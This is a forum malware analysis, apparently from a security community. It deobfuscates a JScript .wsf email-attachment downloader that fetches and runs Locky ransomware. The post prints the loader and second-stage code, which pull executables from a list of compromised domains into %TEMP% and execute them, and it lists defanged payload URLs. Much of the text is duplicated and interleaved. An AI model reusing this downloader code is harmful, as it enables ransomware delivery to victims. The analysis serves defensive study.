- May 14, 2016
- 1,597
Edited :
From Jan,13 2017
- added Item-Delivery-Details-00000629997.doc.wsf&
- Undelivered-Package-00780518.doc.wsf
- added Undelivered-Parcel-ID-0000525244.doc.wsf from 03-01-2016
Thanks to @silversurfer
Delivery-Details.wsf - 5/54
Why this sample ?
Small first script : that download an obfuscated code that download the payloads
As often, I have modified some parts of the code to avoid copy-paste => save => infection
1) What it looks like :
What we can see when editing with notepad++ :
After some formatting :
It is very easy to understand the content :
Several vars are created with important parts :
2) eval(z.join(r)) : what is the content of the string that is evaluated :
After some changed :
\" (for the interpreter) replace by "
We can see in this part that :
var a = "";
=> a var a is created, as an empty string
and then different parts are added to this var a, and at the end :
eval(a);
=> the content of this string a is evaluated => run
This is the a string converted in its code, with some formatting I made to be more readable code :
var ad = "1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb";
var ld = 0;
var cs = String.fromCharCode(92);
var ws = WScript.CreateObject("WScript.Shell");
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn + ".txt")) {
About the two loops :
3) Conlusion :
From Jan,13 2017
- added Item-Delivery-Details-00000629997.doc.wsf&
- Undelivered-Package-00780518.doc.wsf
https://malwaretips.com/threads/5-s...oad-2-payloads-jan-13-2017.66635/#post-587460
https://malwaretips.com/threads/5-s...oad-2-payloads-jan-13-2017.66635/#post-587738
- added at the end of this thread : Delivery-Details.doc.wsf from 20-12-16 : same name, small differences, and domains/ URLS updated.https://malwaretips.com/threads/5-s...oad-2-payloads-jan-13-2017.66635/#post-587738
- added Undelivered-Parcel-ID-0000525244.doc.wsf from 03-01-2016
---------------------------------------------------------------------------
From https://malwaretips.com/threads/16-12-16-7.66632/
Thanks to @silversurfer
Delivery-Details.wsf - 5/54
Why this sample ?
Small first script : that download an obfuscated code that download the payloads
As often, I have modified some parts of the code to avoid copy-paste => save => infection
1) What it looks like :
What we can see when editing with notepad++ :
Code:
<job><script language=JScript>var y = "Msxml2.XMLHTTP"; var u = "rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy"; var x = new Array("aventurarealestatedirectory.com","capsynch.com","ocentsinus.com","ems-informatique.fr","www.apogeoform.net"); var w = "http ://"; for (var i=0; i<5; i++) { var r = "a"; var g = "1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb"; try { var t = x[ i ]; var s = "counter"; var z = new ActiveXObject(y); z.open("GET", w + t + "/" + s + "/?" + r + "=" + g + "&i=" + u, false); z.send(); if (z.status == 200) { z = z.responseText.split("~"); eval(z.join(r)); break; }; } catch(e) { }; };</script></job>After some formatting :
Code:
<job>
<script language=JScript>
var y = "Msxml2.XMLHTTP";
var u = "rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy";
var x = new Array("aventurarealestatedirectory.com", "capsynch.com", "ocentsinus.com", "ems-informatique.fr", "www.apogeoform.net");
var w = "http ://";
for (var i = 0; i < 5; i++) {
var r = "a";
var g = "1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb";
try {
var t = x[ i ];
var s = "counter";
var z = new ActiveXObject(y);
z.open("GET", w + t + "/" + s + "/?" + r + "=" + g + "&i=" + u, false);
z.send();
if (z.status == 200) {
z = z.responseText.split("~");
eval(z.join(r));
break;
};
} catch (e) {};
};
</script>
</job>It is very easy to understand the content :
Several vars are created with important parts :
var y = "Msxml2.XMLHTTP";
=> string used to create later the http object
var u = "rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy";
=> string used as a value for the parameter "i" of the future complete built URLs
var x = new Array(
"aventurarealestatedirectory.com",
"capsynch.com",
"ocentsinus.com",
"ems-informatique.fr",
"www .apogeoform.net"
);"capsynch.com",
"ocentsinus.com",
"ems-informatique.fr",
"www .apogeoform.net"
=> An array of domains (will be used to build the URLs)
var w = "http://";
=> first part of future URLs
for (var i = 0; i < 5; i++) {
=> A loop is done from 0 to 4 max : stops as soon as a working URL built in the loop works.
var r = "a";
=> used later, on the join function (each part will be join adding a "a")
=> also used as a parameter in the URLs
=> also used as a parameter in the URLs
var z = new ActiveXObject;
;=> z = new ActiveXObject("Msxml2.XMLHTTP")
var g = "1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb";=> creates a http object, to make the request
=> used as value for the parameter "a" in the future URLs
try {
var t = x[ i ];
=> i : current index of the loop
=> t = one of the domains
;
} catch (e) {};=> i : current index of the loop
=> t = one of the domains
index i : 0 => "aventurarealestatedirectory.com",
index i : 1 => "capsynch.com",
index i : 2 => "ocentsinus.com",
index i : 3 => "ems-informatique.fr",
index i : 4 => "www .apogeoform.net"
var s = "counter";index i : 1 => "capsynch.com",
index i : 2 => "ocentsinus.com",
index i : 3 => "ems-informatique.fr",
index i : 4 => "www .apogeoform.net"
=> another part of future URLs
var z = new ActiveXObject
;=> new ActiveXObject("Msxml2.XMLHTTP");
=> creates the http object, will be used to make the requests
z.open("GET", w + t + "/" + s + "/?" + r + "=" + g + "&i=" + u, false);=> creates the http object, will be used to make the requests
=> opens a connection with the current URL
=> Example with index i : 0 :
z.send();=> Example with index i : 0 :
"http://aventurarealestatedirectory.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy"
=> sends the request to the current URL
if (z.status == 200) {
=> test the status value of the request
=> 200 means a success
z = z.responseText.split("~");=> 200 means a success
=> Here, the script use the responseText and not the responseBody we used to see in other analysis.
=> the data received are means to be text ! And not binary (for example a payload exe / dll file)
The .split("~") function split the string received in several parts, using the "~" as separator (this char is lost).
The http object is then overwritten by the array of string resulting of the split function:
Example :
var example_string = "test~lalala~omg~lol" ;
=> var example_array = example_string.split("~");
eval(z.join(r));=> the data received are means to be text ! And not binary (for example a payload exe / dll file)
The .split("~") function split the string received in several parts, using the "~" as separator (this char is lost).
The http object is then overwritten by the array of string resulting of the split function:
Example :
var example_string = "test~lalala~omg~lol" ;
=> var example_array = example_string.split("~");
=> example_array: [ "test", "lalala", "omg", "lol"]
=> here : z.join(r) with r = "a" (see above parts where the var r was created)
=> this function joins the different parts of the array of string, using r as separator (the content of r !)
Example :
break;=> this function joins the different parts of the array of string, using r as separator (the content of r !)
Example :
example_array :"test" "lalala" "omg" "lol"
=> new_string = example_array.join("a")
=> new_string : "testalalalaaomgalol"
The eval function => evaluate the string => runs its content
=> quits the loop, because a working URL was found
};2) eval(z.join(r)) : what is the content of the string that is evaluated :
After some changed :
\" (for the interpreter) replace by "
Code:
var a = ""; a += 'var ad="1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb'; a += '"; var '; a += 'ld=0; v'; a += 'ar cq='; a += 'String.f'; a += 'romChar'; a += 'Code(34);'; a += ' var cs'; a += '=String'; a += '.fromCha'; a += 'rCode'; a += '(92); v'; a += 'ar ll=['; a += '"oytunid'; a += 'il.com","'; a += 'ems-inf'; a += 'ormatique.'; a += 'fr","www'; a += '.linguae'; a += 'world.it"'; a += ',"www'; a += '.ibla'; a += 'soni.c'; a += 'om","'; a += 'capsync'; a += 'h.com"]; '; a += 'var ws=WSc'; a += 'ript.Cr'; a += 'eateObje'; a += 'ct("WS'; a += 'cript'; a += '.Shel'; a += 'l"); v'; a += 'ar fn='; a += 'ws.Expan'; a += 'dEnvironme'; a += 'ntStrings('; a += '"%TEM'; a += 'P%")+cs+"'; a += 'a"; var x'; a += 'o=WScript.'; a += 'CreateOb'; a += 'ject("Msxm'; a += 'l2.XM'; a += 'LHTTP"); '; a += 'var xa'; a += '=WScrip'; a += 't.Cre'; a += 'ateObjec'; a += 't("ADODB.S'; a += 'tream_")'; a += '; var'; a += ' fo=W'; a += 'Script.C'; a += 'reateObje'; a += 'ct("Scr'; a += 'ipting.F'; a += 'ileSy'; a += 'stemObj'; a += 'ect"); if'; a += ' (!fo.Fi'; a += 'leExists(f'; a += 'n+".txt'; a += '")) { v'; a += 'ar fp='; a += 'fo.CreateT'; a += 'extFile'; a += '(fn+".tx'; a += 't",true'; a += '); fp'; a += '.WriteLi'; a += 'ne("");'; a += ' fp.Clo'; a += 'se();'; a += ' for('; a += 'var n='; a += '1;n<='; a += '2;n++) { '; a += 'for(var i'; a += '=ld;i<'; a += 'll.length;'; a += 'i++) '; a += '{ var dn=0'; a += '; try {'; a += ' xo.op'; a += 'en("G'; a += 'ET","ht'; a += 'tp ://"+l'; a += 'l[i]+"/co'; a += 'unter/?a="'; a += '+ad+"&r='; a += '"+i+n, f'; a += 'alse); xo'; a += '.send'; a += '(); i'; a += 'f(xo.sta'; a += 'tus=='; a += '200) {'; a += ' xa.ope'; a += 'n(); xa.ty'; a += 'pe=1;'; a += ' xa.writ'; a += 'e(xo.'; a += 'responseBo'; a += 'dy); if'; a += '(xa.size'; a += '>1000) { d'; a += 'n=1; '; a += 'xa.saveToF'; a += 'ile(fn+'; a += 'n+".ex'; a += 'e",2); try'; a += '{ws.R'; a += 'un(fn+n+'; a += '".exe'; a += '",1,0'; a += ');}ca'; a += 'tch(e'; a += 'r){}; }'; a += '; xa.close'; a += '(); };'; a += ' if(dn==1'; a += '){ld=i;bre'; a += 'ak;}; '; a += '} catch('; a += 'er){}; '; a += '}; }; '; a += '};'; eval(a);We can see in this part that :
var a = "";
=> a var a is created, as an empty string
and then different parts are added to this var a, and at the end :
eval(a);
=> the content of this string a is evaluated => run
This is the a string converted in its code, with some formatting I made to be more readable code :
var ad = "1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb";
=> value for parameter "a=" of the future built URLs
var ld = 0;
=> will be be used to initialize a loop index
var cq = String.fromCharCode(34);
=> "
var cs = String.fromCharCode(92);
=> \
var ll = [
"oytunidil.com",
"ems-informatique.fr",
"www .linguaeworld.it",
"www .iblasoni.com",
"capsynch.com"
];"ems-informatique.fr",
"www .linguaeworld.it",
"www .iblasoni.com",
"capsynch.com"
=> array of domains : used to build the URLs for the http requests
var ws = WScript.CreateObject("WScript.Shell");
=> Shell object to use the run function (at the end)
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
=> %TEMP%\a
=> spoil : the path\name for the payloads, without the exe extension (will be add later, with a number)
=> spoil : the path\name for the payloads, without the exe extension (will be add later, with a number)
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
=> creates the http object
var xa = WScript.CreateObject("ADODB.Stream");
=> creates the ADO stream object to manipulate the data received from future request
var fo = WScript.CreateObject("Scripting.FileSystemObject");
=> creates a file system object : to manipulate files / folders
if (!fo.FileExists(fn + ".txt")) {
=> checks if an a.txt file exist in %TEMP%\ folder : clue to know if the payload has already been downloaded
var fp = fo.CreateTextFile(fn + ".txt", true);
=> first Loop to find a working URL :
};=> if not : creates the a.txt file
Example : : C:\Users\DardiM\AppData\Local\Temp\a.txt
fp.WriteLine("");Example : : C:\Users\DardiM\AppData\Local\Temp\a.txt
=> writes an empty line inside
fp.Close();
=> closes the file
for (var n = 1; n <= 2; n++) {
=> first Loop to find a working URL :
=> n : second digit for parameter r=
=> value :1 or 2 : first or second payload to download
};=> value :1 or 2 : first or second payload to download
for (var i = ld; i < ll.length; i++) {=> second Loop to find a working URL :
};=> i : index of domain in the array ll and first digit for the the parameter r=
=> value : 0 to 4 (5 domains on the array)
=> value : 0 to 4 (5 domains on the array)
Remember that :
var ll = [
"oytunidil.com",
"ems-informatique.fr",
"www .linguaeworld.it",
"www .iblasoni.com",
"capsynch.com"
];"oytunidil.com",
"ems-informatique.fr",
"www .linguaeworld.it",
"www .iblasoni.com",
"capsynch.com"
var dn = 0;=> dn : 1 if a working URL (taking into account the parameters) has be found
try {xo.open("GET", "http ://" + ll[ i ] + "/counter/?a=" + ad + "&r=" + i + n, false);
xo.send();
if (dn == 1) {
} catch (er) { };=> tries the current URL :
=> if a working index i is found, the next loop will be with the same value for i (the var dn is used as flag)
Remember that :=> if a working index i is found, the next loop will be with the same value for i (the var dn is used as flag)
=> then the same domain from the array will be used, but the paramete r for the URL built will change because of the index n value (n= 1 for the first file, and 2 for the second)
Example :
- index : i : 0 : first domain used from the array : oytunidil.com
- index n : 1 : first file => a1.exe
- index n : 2 : second file => a2.exe
- index n : 2 : second file => a2.exe
=> then : r=01
and :
"http ://oytunidil.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=01"
var ll = [
"oytunidil.com",
"ems-informatique.fr",
"www .linguaeworld.it",
"www .iblasoni.com",
"capsynch.com"
];"ems-informatique.fr",
"www .linguaeworld.it",
"www .iblasoni.com",
"capsynch.com"
=> sends the request
if (xo.status == 200) {
=> if http request ok
};
xa.close();
};
xa.open();=> open the stream object
xa.type = 1;
=> 1 : data treated as binary
xa.write(xo.responseBody);
=> data received put in the stream
if (xa.size > 1000) {
=> is the size > 1000 ?
dn = 1;=> it means that a valid payload has been found
=> dn is a flag to make the script remembers
xa.saveToFile(fn + n + ".exe", 2);=> dn is a flag to make the script remembers
=> saved the data received in the path "%TMP%\a" + n + ".exe"
=> n : 1 or 2 : depends of the loop that worked
=> 2 : create or overwrite if exist
Example : %TMP%\a1.exe fot the first payload
try {=> n : 1 or 2 : depends of the loop that worked
=> 2 : create or overwrite if exist
Example : %TMP%\a1.exe fot the first payload
=> C:\Users\DardiM\AppData\Local\Temp\a1.exe
ws.Run(fn + n + ".exe", 1, 0);
=> uses the Shell object Run function (see above parts)
=> runs the payload
} catch (er) { };=> uses the Shell object Run function (see above parts)
=> runs the payload
xa.close();
=> closes the stream object
if (dn == 1) {
=> if dn == 1
=> that means a 'good' payload has been found (valid size)
(a1.exe first, a2.exe in second, depending of n value of first loop)
ld = i;
};=> that means a 'good' payload has been found (valid size)
(a1.exe first, a2.exe in second, depending of n value of first loop)
ld = i;
=> forces the index i to stay the current index that worked
break;
=> quits the current loop (with i as index)
=> if n = 2, that means the payload a2.exe has also been downloaded : end of the loops
=> if n = 2, that means the payload a2.exe has also been downloaded : end of the loops
About the two loops :
for (var n = 1; n <= 2; n++) {
}
n: 1 => first payload (a1.exe)
n: 2 => second payload (a2.exe)
For each value of n : the index i is used to built a entire URL (with parameters)
the parameter r= is used with 2 digits:
first digit : index i used to retrieve the small url part from the array : from 0 to 4
second digit : n : used to differentiate the two payloads needed a1.exe and a2.exe
=> Therefore, each URLs built has a parameter r=in (replace i and n by their values)
=> if the first payload has been succesfully downloaded from :for (var i = ld; i < ll.length; i++) {
...
}
......
}
}
n: 1 => first payload (a1.exe)
n: 2 => second payload (a2.exe)
For each value of n : the index i is used to built a entire URL (with parameters)
the parameter r= is used with 2 digits:
first digit : index i used to retrieve the small url part from the array : from 0 to 4
second digit : n : used to differentiate the two payloads needed a1.exe and a2.exe
=> Therefore, each URLs built has a parameter r=in (replace i and n by their values)
=> 01 11 21 31 41 (first loop with n =1 and i : 0 to 4 max)
=> 02 12 22 32 42 (second loop with n = 2 and i : 0 to 4 max)
The two payloads are downloaded from same URLS but only with a new r= parameter.
=> 02 12 22 32 42 (second loop with n = 2 and i : 0 to 4 max)
index i : 0 to 4 max because it will stop at the i where the first URL that worked
=> when a working index i is find (for the first payload), it will be used to find the second payload => only the index n will change (1 for the first payload, 2 for the second)
The two payloads are downloaded from same URLS but only with a new r= parameter.
"http ://ems-informatique.fr/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=11"
Then it tries to download the second payload with r=12 from the main principal URL
"http ://ems-informatique.fr/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=12"
3) Conlusion :
URLs to download the JScript code :
hxxp://aventurarealestatedirectory.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy
hxxp://capsynch.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy
hxxp://ocentsinus.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy
hxxp://ems-informatique.fr/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy
hxxp://www .apogeoform.net/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy
hxxp://capsynch.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy
hxxp://ocentsinus.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy
hxxp://ems-informatique.fr/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy
hxxp://www .apogeoform.net/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&i=rXGd85Su_z7vYKkDD9Z-eYS94ovu3Mj_fIrO1Yj1Gc9e4_l5piUOzQwOZQOZamHTjZ_JHeiXcEgPXhBHdzBy
URLs to download the Payloads :
a1.exe :
"http ://oytunidil.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=01"
"http ://ems-informatique.fr/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=11"
"http ://www .linguaeworld.it/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=21"
"http ://www .iblasoni.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=31"
"http ://capsynch.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=41"
a2.exe :"http ://ems-informatique.fr/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=11"
"http ://www .linguaeworld.it/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=21"
"http ://www .iblasoni.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=31"
"http ://capsynch.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=41"
"http ://oytunidil.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=02"
"http ://ems-informatique.fr/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=12"
"http ://www .linguaeworld.it/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=22"
"http ://www .iblasoni.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=32"
"http ://capsynch.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=42"
"http ://ems-informatique.fr/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=12"
"http ://www .linguaeworld.it/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=22"
"http ://www .iblasoni.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=32"
"http ://capsynch.com/counter/?a=1MNnQoRsx8zgegSRawFrEYBJiAxgS6A4Xb&r=42"
Payload :
a1.exe : Trojan-Ransom.Win32.Locky.wsq
17/56
Antivirus scan for eefb58808bf8684d2febaf71fc9430d229dcda6a1cd6e6b95f0b9f935649aac2 at 2016-12-16 23:58:53 UTC - VirusTotal
https://www.hybrid-analysis.com/sam...a6a1cd6e6b95f0b9f935649aac2?environmentId=100
a2.exe : AQVM20.1.0000.MalwareAntivirus scan for eefb58808bf8684d2febaf71fc9430d229dcda6a1cd6e6b95f0b9f935649aac2 at 2016-12-16 23:58:53 UTC - VirusTotal
https://www.hybrid-analysis.com/sam...a6a1cd6e6b95f0b9f935649aac2?environmentId=100
Last edited:
